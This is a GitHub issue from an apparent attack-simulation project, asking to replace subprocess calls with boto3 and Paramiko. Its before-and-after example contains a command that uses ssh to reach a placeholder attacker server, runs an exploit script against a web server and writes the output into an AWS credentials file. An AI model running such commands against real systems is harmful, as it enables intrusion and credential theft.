Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Remove use of subprocess and replace with appropriate Python libraries wherever possible #26

Open
mdorn opened this issue Oct 1, 2024 · 0 comments
Labels
enhancement New feature or request

Comments

@mdorn
Copy link
Contributor

mdorn commented Oct 1, 2024

Among other problems, spawning a new process reduces the main program's control over program logic and will make testing automation difficult.

Examples include calls to the AWS CLI and calls to ssh. The former can use the boto3 library (see this commit) while an example of using the Paramiko library as an SSH client can be found in this commit.

E.g. this:

subprocess.call("ssh -o 'StrictHostKeyChecking accept-new' -i ./files/var/ssh/id_rsa ubuntu@"+ATTACKER_SERVER_PUBLIC_IP+" 'sudo python3 exploit.py "+WEB_SERVER_PUBLIC_IP+" > /home/ubuntu/.aws/credentials'", shell=True)

becomes this:

ssh_client = SSHClient(
	ATTACKER_SERVER_PUBLIC_IP, 'ubuntu', './files/var/ssh/id_rsa')
ssh_client.connect()
ssh_client.exec(
	'sudo python3 exploit.py {} > /home/ubuntu/.aws/credentials'.format(WEB_SERVER_PUBLIC_IP)
)
@anandtiwarics anandtiwarics added the enhancement New feature or request label Oct 3, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement New feature or request
Projects
None yet
Development

No branches or pull requests

2 participants